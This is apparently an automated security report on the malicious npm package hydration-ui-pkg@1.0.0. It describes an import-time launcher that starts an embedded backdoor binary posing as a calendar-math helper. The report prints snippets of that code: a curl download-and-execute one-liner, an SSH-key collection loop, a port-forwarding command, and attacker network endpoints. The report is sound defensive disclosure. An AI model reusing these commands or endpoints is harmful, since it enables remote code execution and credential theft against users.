---
canonical: "https://firewall.lpm.dev/npm/hydration-ui-pkg"
markdown: "https://firewall.lpm.dev/npm/hydration-ui-pkg/report.md"
package: "hydration-ui-pkg"
report_status: "published"
title: "hydration-ui-pkg@1.0.0 npm security report"
verdict: "malicious"
version: "1.0.0"
---

# hydration-ui-pkg@1.0.0 npm security report

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## Verdict summary
**Blocked & quarantined** — It can execute downloaded code, collect SSH keys, and provide remote network access.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.0.0
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package’s import path launches a detached binary whose embedded commands implement backdoor, payload-execution, and credential-harvesting functionality. This is concrete malicious behavior despite the absence of an npm lifecycle hook.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-09-03T15:31:00.363Z
- **Finished:** 2026-09-03T15:33:17.010Z
- **Download time:** 509 ms
- **Static scan time:** 65 ms
- **AI review time:** 136072 ms
- **Total time:** 136647 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Importing the package root launches a detached native backdoor disguised as a math accelerator. The binary supports payload download, execution, port forwarding, and credential collection.

- **Trigger:** Importing the package root module.

- **Impact:** It can execute downloaded code, collect SSH keys, and provide remote network access.

- **Evidence paths:** dist/index.mjs, dist/internal/mathcalc.mjs

- **Review source:** ai\_review

- **Reviewed:** 2026-09-03T15:33:17.010Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** An import-time launcher executes an embedded remote-access binary.

- **Attack narrative:** A normal import changes the bundled ELF mode and launches it as a detached process. That binary contains remote-access features including port forwarding, downloading and executing ELF payloads, SSH-key collection, persistence, and data upload. These capabilities are unrelated to calendar calculations and create concrete unconsented code-execution and credential-theft risk.

- **Rationale:** The package’s import path launches a detached binary whose embedded commands implement backdoor, payload-execution, and credential-harvesting functionality. This is concrete malicious behavior despite the absence of an npm lifecycle hook.

- **Files touched:** dist/index.mjs, dist/internal/mathcalc.mjs, ~/.ssh, /root/.ssh, /home/\*/.ssh, /etc/ssh

- **Network endpoints:** http://%s:%d/Others/%s, https://litterbox.catbox.moe/resources/internals/api.php, 217.60.77.63

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The root import makes an embedded ELF executable and starts it detached., The embedded binary provides port forwarding and downloads then launches ELF payloads., The binary includes SSH-key collection commands from user and system key directories.

- **Evidence against:** package.json contains no npm lifecycle script.

## Affected versions and remediation

This report applies to hydration-ui-pkg@1.0.0.

- Avoid installing hydration-ui-pkg@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 2. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 3. Medium: Ships Native Binary
- **Category:** Artifact Inventory
- **Confidence:** 75.0%
- **Path:** dist/internal/mathcalc.mjs
- **Public source:** [View source](<https://unpkg.com/hydration-ui-pkg@1.0.0/dist/internal/mathcalc.mjs>)

Package ships native binary artifacts.

Public source snippet (untrusted):

```javascript
path = dist/internal/mathcalc.mjs
kind = native_binary
sizeBytes = 63616
magicHex = [redacted]
```

### 4. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 75.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 5. High: Semantic Analysis Limited
- **Category:** Scanner Coverage
- **Confidence:** 100.0%
- **Path:** dist/internal/mathcalc.mjs
- **Public source:** [View source](<https://unpkg.com/hydration-ui-pkg@1.0.0/dist/internal/mathcalc.mjs>)

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

Public source snippet (untrusted):

```javascript
stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2
```

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/index.mjs
- **Public source:** [View source](<https://unpkg.com/hydration-ui-pkg@1.0.0/dist/index.mjs>)

The root import makes an embedded ELF executable and starts it detached.

Public source snippet (untrusted):

```javascript
try {
			fs.chmodSync(binaryPath, 0o755);
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/index.mjs
- **Public source:** [View source](<https://unpkg.com/hydration-ui-pkg@1.0.0/dist/index.mjs>)

The root import makes an embedded ELF executable and starts it detached.

Public source snippet (untrusted):

```javascript
const engineProcess = cp.spawn(binaryPath, [], { 
			stdio: 'pipe',
			shell: false,
			detached: true
		});
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/internal/mathcalc.mjs
- **Public source:** [View source](<https://unpkg.com/hydration-ui-pkg@1.0.0/dist/internal/mathcalc.mjs>)

The embedded binary provides port forwarding and downloads then launches ELF payloads.

Public source snippet (untrusted):

```javascript
Usage: /portfwd start <lport> <rhost> <rport>
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/internal/mathcalc.mjs
- **Public source:** [View source](<https://unpkg.com/hydration-ui-pkg@1.0.0/dist/internal/mathcalc.mjs>)

The embedded binary provides port forwarding and downloads then launches ELF payloads.

Public source snippet (untrusted):

```javascript
F=$(mktemp /tmp/.elf_XXXXXX) && curl -s -k -o "$F" 'http://%s:%d/Others/%s' 2>/dev/null && chmod +x "$F" && "$F" &
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/internal/mathcalc.mjs
- **Public source:** [View source](<https://unpkg.com/hydration-ui-pkg@1.0.0/dist/internal/mathcalc.mjs>)

The binary includes SSH-key collection commands from user and system key directories.

Public source snippet (untrusted):

```javascript
N=0; for d in ~/.ssh /root/.ssh /home/*/.ssh /etc/ssh; do
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** hydration-ui-pkg
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-09-03T01:02:31.960Z
- **Package first seen:** 2026-09-03T15:33:17.010Z
- **Package last seen:** 2026-09-03T15:33:17.010Z
- **Known versions:** 1
- **Latest version:** 1.0.0
- **Appeal under review:** No
- **Description:** Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store.
- **Deprecated:** Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.
- **Keywords:** day, analytics, streak, calendar
- **Runtime engines:** node: \>=18
- **Artifact files:** 9
- **Artifact unpacked size:** 72,309 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/hydration-ui-pkg>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-15900>)
- [PACKAGE](<https://www.npmjs.com/package/hydration-ui-pkg/v/1.0.0>)
